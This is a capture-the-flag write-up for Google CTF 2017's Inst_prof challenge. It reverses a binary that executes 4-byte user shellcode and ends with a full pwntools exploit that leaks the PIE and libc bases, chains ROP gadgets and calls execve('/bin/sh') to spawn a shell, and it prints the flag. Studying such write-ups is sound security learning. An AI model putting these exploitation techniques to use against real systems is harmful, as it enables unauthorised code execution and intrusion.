During the google CTF 2017, we finished Inst_prof, here is what was given to us:

Please help test our new compiler micro-service

Challenge running at inst-prof.ctfcompetition.com:1337

inst_prof

This is an exploitation task, we get the basics done:

laxa:inst_prof:11:51:26$ file inst_prof
inst_prof: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=61e50b540c3c8e7bcef3cb73f3ad2a10c2589089, not stripped
laxa:inst_prof:11:51:30$ checksec --file inst_prof
[*] '/home/laxa/Documents/Challenges/CTF/googlectf2k17/inst_prof/inst_prof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

Protections are pretty standards beside PIE that is not enabled on all binaries, also, the binary is not stripped, which is going to be helpful for the reversing part !
All in all, this binary is pretty straighfoward to reverse,

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  if ( write(1, "initializing prof...", 0x14uLL) == 20 )
  {
    sleep(5u);
    alarm(30u);
    if ( write(1, "ready\n", 6uLL) == 6 )
    {
      while ( 1 )
        do_test();
    }
  }
  exit(0);
}

Not much to say about the main, things to note is that we only have 25 seconds to pull the exploit or to disable alarm.

int do_test()
{
  void *v0; // rbx@1
  char v1; // al@1
  __int64 v2; // rdx@1
  unsigned __int64 v3; // r12@1
  __int64 v4; // rdx@1
  unsigned __int64 buf; // [sp+8h] [bp-18h]@1

  v0 = alloc_page();
  memcpy(v0, template, sizeof(template);
  read_inst((char *)v0 + 5);
  make_page_executable(v0);
  v3 = (v2 << 32) | __rdtsc();
  ((void (__fastcall *)(void *))v0)(v0);
  buf = (__rdtsc() | (v4 << 32)) - v3;
  if ( write(1, &buf, 8uLL) != 8 )
    exit(0);
  return free_page(v0);
}

Here is the assembly for the template part:

So, we have an infinite loop that does basically this:

  • allocate a memory page with mmap() with PROT_READ | PROT_WRITE
  • memcpy the template part, this is just a loop that uses ecx as a counter for 1000 times
  • take 4 bytes of input and place it in the ‘nop’ part of the template
  • CPU count cycle is saved into v3 with rdtsc
  • mprotect our mmap chunk to PROT_READ | PROT_EXEC
  • execute the shellcode
  • Programs output the number of CPU cycle used
  • munmap our memory page

We can execute any arbitrary shellcode with 4 bytes max everytime we send an input.

Important things to note is also the state of registers when we have our code executed:

  • rax = 0
  • rbx/rdi points to the mmap chunk
  • rdx contains part of the rdtsc return
  • rsi = 0x1000
  • [rsp] contains saved rip
  • r8/r9/r10/r11/r13/r14/r15 do not seems to be used

We do not know if we finished the challenge the intended way, but we went for a ROP approach, we are pretty sure that there are numerous way to finish it but here is ours!
Since the binary is PIE, we first need to get the basebinary address, we do not have the libc yet.
[rsp] contains a saved rip, we will save it in r14, decrement r14 and then jumping to some part of the code that will allow us to leak an address!
Here is part of our code to leak an address of the .txt section:

r.send(asm('pop r14\npush r14'))
p = asm('dec r14\nret') * (0xb18 - 0x8a2)
r.send(p)
r.clean()
r.send(asm('push rsp\npop rsi\npush r14'))

We save RIP into r14, then decrement to point to

this will write the 6 first byte of the stack to stdout. Hopefully we don’t break the stack even though we pushed 1000 times r14, the program doesn’t save anything important on it!

Now that we have the basebinary, we are going to do a simple 2 stages ROP: leak libc and then ret2libc!

How to achieve a ROP ?
We are going to use r14 again, we save rsp into r14 and increment to points to saved RIP + 8
Our first ropchain is going to disable alarm just to be sure even though it’s not necessary, then we are going to leak the got to identify libc and finally jumping in the main.
To write the ROP into the stack, we used ‘movb [r14], val’ which is exactly 4 bytes long and then incrementing r14.
To trigger the rop we just have to shift the stack by 1 so we get on our ROP.
Good thing to note is that we didn’t had to control rdx since it’s value is 8 when we leave the do_test() function, which is perfect size argument for write!
Here is this part of the code in our exploit:

# make ROP great again
r.send(asm('push rsp\npop r14\nret'))
r.send(asm('inc r14\nret') * 0x38) # increase rsp to [saved RIP + 8]
r.clean()

RDI = 0x0000000000000bc3 # pop rdi ; ret
RSI = 0x0000000000000bc1 # pop rsi ; pop r15 ; ret

ROP  = p64(basebinary + RDI)
ROP += p64(0) # disable alarm
ROP += p64(basebinary + b.plt['alarm'])
ROP += p64(basebinary + RDI)
ROP += p64(1) # fd
ROP += p64(basebinary + RSI)
ROP += p64(basebinary + b.got['write'])
ROP += p64(0)
ROP += p64(basebinary + b.plt['write'])
ROP += p64(basebinary + 0x8C7) # main loop again

for x in ROP:
    r.send(asm('movb [r14], %#x' % ord(x)))
    r.send(asm('inc r14\nret'))

time.sleep(1) # be sure to receive all data before flushing
r.clean() # flush

# trigger ROP with pop rax ; pop rdx ; push rax ; ret
if DEBUG and GDB:
    pause()
r.send(asm('pop rax\npop rdx\npush rax\nret'))

Now we need to identify the libc, this step is manual and not in the exploit, but we used the libc-database.
We leaked 2 offsets, signal and write, then we identify and we only have 1 match which is: libc6_2.19-0ubuntu6.11_amd64.so

The last step is just doing the same thing as first ROP stage except we now know the libc and we can do execve(« /bin/sh », NULL, NULL)!

In the end, the flag is: CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

Here is the full exploit (exploit on github here):

#!/usr/bin/env python2

from pwn import *

###

if len(sys.argv) > 1:
    DEBUG = False
    libc = ELF('libc6_2.19-0ubuntu6.11_amd64.so')
else:
    DEBUG = True
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

b = ELF('inst_prof')
context.log_level = 'info'
context.arch = 'amd64'

###

if DEBUG:
    r = process('./inst_prof', aslr=False)
else:
    r = remote('inst-prof.ctfcompetition.com', 1337)

GDB = False
if GDB and DEBUG:
    gdb.attach(r) #, 'b *0x555555554b16')

log.info('sleep timer...')
time.sleep(5)
log.info('sleep timer ended')
r.recv(26)

# first part we leak binary PIE
r.send(asm('pop r14\npush r14'))
p = asm('dec r14\nret') * (0xb18 - 0x8a2)
r.send(p)
r.clean()
r.send(asm('push rsp\npop rsi\npush r14'))

d = r.recv(4096 * 4096)
l = d[len(d) - 6:len(d)] + '\x00\x00'
l = u64(l)
basebinary = l - 0x8a2
log.info('leak: %#x' % l)
log.info('basebinary: %#x' % basebinary)

if DEBUG and GDB:
    pause()
# make ROP great again
r.send(asm('push rsp\npop r14\nret'))
r.send(asm('inc r14\nret') * 0x38) # increase rsp to [saved RIP + 8]
r.clean()

RDI = 0x0000000000000bc3 # pop rdi ; ret
RSI = 0x0000000000000bc1 # pop rsi ; pop r15 ; ret

ROP  = p64(basebinary + RDI)
ROP += p64(0) # disable alarm
ROP += p64(basebinary + b.plt['alarm'])
ROP += p64(basebinary + RDI)
ROP += p64(1) # fd
ROP += p64(basebinary + RSI)
ROP += p64(basebinary + b.got['write'])
ROP += p64(0)
ROP += p64(basebinary + b.plt['write'])
ROP += p64(basebinary + 0x8C7) # main loop again

for x in ROP:
    r.send(asm('movb [r14], %#x' % ord(x)))
    r.send(asm('inc r14\nret'))

time.sleep(1) # be sure to receive all data before flushing
r.clean() # flush

# trigger ROP with pop rax ; pop rdx ; push rax ; ret
if DEBUG and GDB:
    pause()
r.send(asm('pop rax\npop rdx\npush rax\nret'))
d = ''
while len(d) < 0x10:
    d += r.recv(1)
d = d[8:0x10]
l = u64(d)
libcbase = l - libc.symbols['write']
log.info('leak: %#x' % l)
log.info('libcbase: %#x' % libcbase)

# now ROP stage 2
r.send(asm('push rsp\npop r14\nret'))
r.send(asm('inc r14\nret') * 0x38) # increase rsp to [saved RIP + 8]
r.clean()

ROP  = p64(basebinary + RDI)
ROP += p64(libcbase + libc.search('/bin/sh').next())
ROP += p64(basebinary + RSI)
ROP += p64(0) # rsi
ROP += p64(0) # r15
ROP += p64(libcbase + libc.search(asm('pop rdx\nret')).next())
ROP += p64(0) # rdx
ROP += p64(libcbase + libc.symbols['execve'])
ROP += p64(basebinary + RDI)
ROP += p64(0)
ROP += p64(libcbase + libc.symbols['_exit']) # don't crash :p

for x in ROP:
    r.send(asm('movb [r14], %#x' % ord(x)))
    r.send(asm('inc r14\nret'))

# trigger
log.info('trying to get shell in 1 second...')
r.send(asm('pop rax\npop rdx\npush rax\nret'))
time.sleep(1)
r.clean()

r.interactive()
r.close()

# CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

Leave a Comment

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *